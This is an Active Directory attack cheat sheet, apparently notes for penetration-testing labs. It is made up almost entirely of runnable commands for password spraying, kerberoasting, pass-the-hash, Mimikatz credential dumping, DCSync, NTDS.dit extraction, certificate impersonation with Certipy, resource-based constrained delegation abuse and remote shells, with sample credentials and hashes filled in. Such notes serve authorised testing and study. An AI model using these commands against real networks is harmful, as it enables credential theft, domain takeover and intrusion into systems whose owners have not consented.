🧰 AD Tools & Lateral Movement

Kerberos ticket forgery: kerberos. Enumeration: methodology, bloodhound.

Password spraying — CrackMapExec / NetExec

net accounts                                                     # read the lockout policy FIRST
crackmapexec smb 192.168.50.75 -u dave -p 'Flowers1' -d corp.com # Pwn3d! = local admin
crackmapexec smb IP -u ./users.txt -p ./passwords.txt --continue-on-success
crackmapexec winrm IP -u user -p pass                            # does the user have WinRM?
crackmapexec smb IP -u user -p pass --shares                     # list readable shares
crackmapexec ldap IP -u user -p pass --kdcHost IP -M laps        # dump LAPS passwords

Impacket

GetADUsers.py  -all -dc-ip IP domain/user:pass          # list domain users
GetUserSPNs.py domain/user:pass -dc-ip IP               # kerberoastable accounts
GetNPUsers.py  domain/user:pass -dc-ip IP -no-pass      # AS-REP-able accounts
secretsdump.py domain/administrator:'passWord'@IP       # dump hashes
psexec.py      user@IP -hashes aad3b435b51404eeaad3b435b51404ee:8730fa0d...
impacket-wmiexec -hashes :2892D26C... Administrator@192.168.50.73

---

Lateral movement

Each technique needs local-admin rights on the target plus a specific port/share open.

WMI (CIM session)

Need: local admin on the target.

$sec  = ConvertTo-SecureString 'Nexus123!' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential 'jen',$sec
$opt  = New-CimSessionOption -Protocol DCOM
$sess = New-CimSession -ComputerName 192.168.50.73 -Credential $cred -SessionOption $opt
Invoke-CimMethod -CimSession $sess -ClassName Win32_Process -MethodName Create `
  -Arguments @{CommandLine='powershell -nop -w hidden -e JAB...'}

PsExec

Need: local admin + ADMIN$ share + File/Printer Sharing.

.\PsExec64.exe -i \\FILES04 -u corp\jen -p Nexus123! cmd

Pass-the-Hash

Need: NTLM auth allowed + SMB 445 + ADMIN$.

impacket-wmiexec -hashes :<NTLM> Administrator@IP

DCOM

Need: local admin + TCP 135.

$dcom = [Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application.1","WEB04"))
$dcom.Document.ActiveView.ExecuteShellCommand("cmd",$null,"/c calc","7")

---

Credential dumping & persistence

Mimikatz

privilege::debug                 # grab SeDebug (needs admin)
token::elevate                   # elevate to SYSTEM
sekurlsa::logonpasswords         # creds from LSASS memory
lsadump::sam                     # local SAM hashes
lsadump::lsa /patch              # LSA secrets (incl. krbtgt)
lsadump::lsa /inject /name:krbtgt
sekurlsa::tickets /export        # export Kerberos tickets
kerberos::ptt <ticket>           # inject a ticket
klist                            # verify

DCSync

When: your user holds DS-Replication-Get-Changes[-All]. Goal: pull any account’s hash straight from the DC.

1. Confirm the rights on the domain object:

   Get-ObjectAcl -DistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -ResolveGUIDs |
     ?{($_.ObjectType -match 'replication-get') -or ($_.ActiveDirectoryRights -match 'GenericAll|WriteDacl')}

2. Pull hashes with secretsdump (see Impacket above) or Mimikatz lsadump::dcsync.

Shadow copy of NTDS (Domain Admin on the DC)

1. Create a volume shadow copy:

   vshadow.exe -nw -p C:

2. Copy out ntds.dit and the SYSTEM hive:

   copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\windows\ntds\ntds.dit c:\ntds.dit.bak
   reg.exe save hklm\system c:\system.bak

3. Extract all domain hashes offline:

   impacket-secretsdump -ntds ntds.dit.bak -system system.bak LOCAL

---

Certificate attacks (Certipy)

# request a cert impersonating a target UPN
certipy req  -username 'JODIE.SUMMERS' -password '...' -target nara-security.com \
  -ca NARA-CA -template NaraUser -upn administrator@nara-security.com -dc-ip 192.168.232.30 -debug
# authenticate with the issued cert
certipy auth -pfx administrator.pfx -domain nara-security.com -username administrator -dc-ip 172.16.201.26

Resource-Based Constrained Delegation (RBCD)

When: you have GenericAll/GenericWrite on a computer object. Goal: impersonate any user to it.

1. Create a computer account you control:

   impacket-addcomputer resourced.local/l.livingstone -dc-ip IP -hashes :19a3a7... \
     -computer-name 'ATTACK$' -computer-pass <pw>

2. Set it as allowed-to-act on the target:

   python3 rbcd.py -dc-ip IP -t RESOURCEDC -f 'ATTACK' -hashes :19a3a7... resourced\\l.livingstone

3. Request an impersonation ticket for Administrator:

   impacket-getST -spn cifs/resourcedc.resourced.local resourced/attack\$:'AttackerPC1!' \
     -impersonate Administrator -dc-ip IP

4. Load the ticket and use it:

   export KRB5CCNAME=./Administrator.ccache
   sudo impacket-psexec -k -no-pass resourcedc.resourced.local -dc-ip IP

Rubeus

Rubeus.exe harvest /interval:30          # collect tickets over time
Rubeus.exe brute /password:Password1 /noticket
Rubeus.exe kerberoast                     # also: asreproast

Evil-WinRM & misc

evil-winrm -u administrator -p 'hghgib6vHT3bVWf' -i 10.10.119.154   # shell; supports upload/download
python3 ~/tools/hashgrab/hashgrab.py 10.9.1.18 xct
impacket-smbserver share share -smb2support

References: Rubeus · Certipy · DCSync (HackTricks) · rbcd.